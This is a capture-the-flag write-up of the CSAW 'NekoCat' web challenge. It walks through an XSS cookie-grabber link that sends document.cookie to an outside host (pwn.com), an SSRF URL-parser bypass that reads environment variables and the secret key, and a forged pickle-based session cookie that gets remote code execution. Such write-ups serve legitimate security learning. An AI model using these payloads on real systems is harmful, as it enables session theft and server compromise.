# NekoCat WEB 500 ![NekoCat](http://web.chal.csaw.io:1003/static/favicon.ico)## Difficulty: ★★★★★
Link: http://web.chal.csaw.io:1003
# Idea
> * Bypass CSP by Abusing XSS Filter using inline> * Escalate user permissions> * Abusing URL Parser to read environment variables> * Craft malicious session lead to RCE
# Walkthroughdescription provide us the source code of the challenge [flagon.zip](https://ctf.csaw.io/files/a75d5b38afc3d477873e8ce01c468d85/flagon.zip)
we notice that challange uses Python Flaskso let's create account and try to see what's happen there http://web.chal.csaw.io:1003/register
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/ae6ec98e-8b7c-4909-9fc6-a2c6fe880bf5.png)
we try to post link but we can see only verfied users can preview link 
> app.py Line:152```pythonif verified_user(session, request.session.get('username'))[0]:    preview = get_post_preview(link) ```so the idea here is to get permession of verfied user in plateformwe can trigger an XSS attack to steal cookies from admin maybebut when we dig more in the source code we see there is CSP rules implemented> app.py Line:51```pythondef apply_csp(f):    @wraps(f)    def decorated_func(*args, **kwargs):        resp = f(*args, **kwargs)        csp = "; ".join([                "default-src 'self' 'unsafe-inline'",                "style-src " + " ".join(["'self'",                                         "*.bootstrapcdn.com",                                         "use.fontawesome.com"]),                "font-src " + "use.fontawesome.com",                "script-src " + " ".join(["'unsafe-inline'",                                          "'self'",                                          "cdnjs.cloudflare.com",                                          "*.bootstrapcdn.com",                                          "code.jquery.com"]),                "connect-src " + "*"              ])        resp.headers["Content-Security-Policy"] = csp
        return resp    return decorated_func```CSP is allowing javascript inline resourcesso we can excute XSS in URL
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/e1458bad-b01f-4941-ba36-9c2ebb1e2020.png)
> but hold on xss triggred on when admin click on link
after another dig in plateform we noticed missing part > app.py Line:178```python@app.route('/report')@apply_cspdef report(request):    #: neko checks for naughtiness    #: neko likes links    pass```so there is feature that check links that reported , this the way how our admin checks the inline XSS link
let's craft and cookie grabber > [link]javascript:document.location="http://pwn.com:2128/"+document.cookie
and we listen for the request and report the link for being broken ```root@serveur [~]# nc -l 2128GET /session_data=%22YWzU8XcjGIq5lmuao7nR65VW3yg=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfYzdkM2M1MDhxAC4=%22 HTTP/1.1Host: pwn.com:2128User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1:5000/post?id=20762&instance=c7d3c508-1b2a-481e-a83e-5e3214938bc5Connection: keep-aliveUpgrade-Insecure-Requests: 1```
> Bingo we have the verfied user session so we can preview sites now 
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/0b810f23-03d8-4889-80da-559d79829b1f.png)
lets try to preview site > [link]http://www.google.com
it works
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/8b72962e-0868-4c32-8e89-e2442588fb7d.png)
we noticed from captured admin request that refrer is 
> Referer: http://127.0.0.1:5000/post?id=20762&instance=c7d3c508-1b2a-481e-a83e-5e3214938bc5
running on localhost and there is a route for reading environment variables called flaginfo
> flagon.py Line:65```pythonflaginfo_route = "/flaginfo"        self.routes[flaginfo_route] = flagoninfo        self.url_map.add(Rule(flaginfo_route, endpoint=flaginfo_route))```
and the function flagoninfo()> flagon.py Line:65```pythondef flagoninfo(request):    if request.remote_addr != "127.0.0.1":        return render_template("404.html")
    info = {        "system": " ".join(os.uname()),        "env": str(os.environ)    }
    return render_template("flaginfo.html", info_dict=info)```it will be rendred if the ip adress accssed from is localhostwe have race condition here but we can use the url previewer to read it for us 
let's try > [link]http://127.0.0.1:5000/flaginfo
and we got nothing ??? hmmmmmm
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/d154e42c-bf5f-4801-8799-7badd913f793.png)
after another dig in source we see that flaginfo is filtred > app.py Line:13```pythondef get_post_preview(url):    scheme, netloc, path, query, fragment = url_parse(url)
    # No oranges allowed    if scheme != 'http' and scheme != 'https':        return None
    if '..' in path:        return None
    if path.startswith('/flaginfo'):        return None
    try:        r = requests.get(url, allow_redirects=False)    except Exception:        return None
    soup = BeautifulSoup(r.text, 'html.parser')    if soup.body:        result = ''.join(soup.body.findAll(text=True)).strip()        result = ' '.join(result.split())        return result[:280]
    return None```
we see this commented line 
> # No oranges allowed
and this one > scheme, netloc, path, query, fragment = url_parse(url)
so url been parsed , there is bug discovered by [Orange Tsai](https://twitter.com/orange_8361?lang=en)
that abuse url parsing in diffrent programing languages , even browsers 
[A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
after reading this paper if figure out how to push the url path to query
like this 
> [link]http://127.0.0.1:5000///flaginfo
and bingo we got the environment variables with secret key 
> SECRET_KEY = 'superdupersecretflagonkey'
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/9ef38443-ae5d-4018-9b11-b16302746489.png)
so we did fine with all this steps , challenge main goal is to read flag located in flag.txt
hmmmm ? , so we need an RCE at least , after another dig in the sources we found this ```pythonclass Request(BaseRequest):    @cached_property    def session(self):        data = self.cookies.get("session_data")        if not data:            return SecureCookie(secret_key=SECRET_KEY)        return SecureCookie.unserialize(data, SECRET_KEY)```
> unserialize maybe an object injection ?????
SecureCookie is library let's check it ```pythonfrom werkzeug.contrib.securecookie import SecureCookie```after dig in github 
https://github.com/pallets/werkzeug/blob/master/werkzeug/contrib/securecookie.py
SecureCookie uses pickle 
let's try some tests on session first
let's write code that decrypt session 
```pythonfrom werkzeug.contrib.securecookie import SecureCookie
SECRET_KEY = 'superdupersecretflagonkey'data = "YWzU8XcjGIq5lmuao7nR65VW3yg=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfYzdkM2M1MDhxAC4="```
output : > <SecureCookie {'name': 'Neko Cat', 'username': 'meow_c7d3c508'}>
we succeed in decrypting session let's try now to encrypt the session with difrrent name ```pythonimport osimport subprocess
from werkzeug.contrib.securecookie import SecureCookie
SECRET_KEY = 'superdupersecretflagonkey'payload = {'name': '0xdeadbeef', 'username': 'meow_326dcae5'}
x = SecureCookie(payload, SECRET_KEY)
value = x.serialize()print(value)```output:> x9WxLcbqt6K+XTRjOc/qLId9oaM=?name=gANYCgAAADB4ZGVhZGJlZWZxAC4=&username=gANYDQAAAG1lb3dfMzI2ZGNhZTVxAC4=let's update our session and see the changes now 
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/345e4fb3-f290-47fd-a4f8-60743ee88d2c.png)
nice name changed ^^
i'll try to inject an class object to read the flag ```pythonimport osimport subprocess
from werkzeug.contrib.securecookie import SecureCookie
class Pwn(object):      def __reduce__(self):        return (subprocess.check_output, (['cat','flag.txt'],))
SECRET_KEY = 'superdupersecretflagonkey'
payload = {'name': Pwn() , 'username': 'meow_326dcae5'}
x = SecureCookie(payload, SECRET_KEY)
value = x.serialize()print(value)print(SecureCookie.unserialize(value, SECRET_KEY))```output: > 1YXfVvm1SHcNNZm/KXpktHC/RnM=?name=gANjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcQBdcQEoWAMAAABjYXRxAlgIAAAAZmxhZy50eHRxA2WFcQRScQUu&username=gANYDQAAAG1lb3dfMzI2ZGNhZTVxAC4=
and bingoo here is the flag ^^
![NekoCat](https://screenshotscdn.firefoxusercontent.com/images/b8cd7218-eb7a-4c8e-bfec-1e23d81f9e2f.png)
## flag{werks_on_my_box}
it was realy fun game , thanks CSAW ^^0x deadbeef @DC21321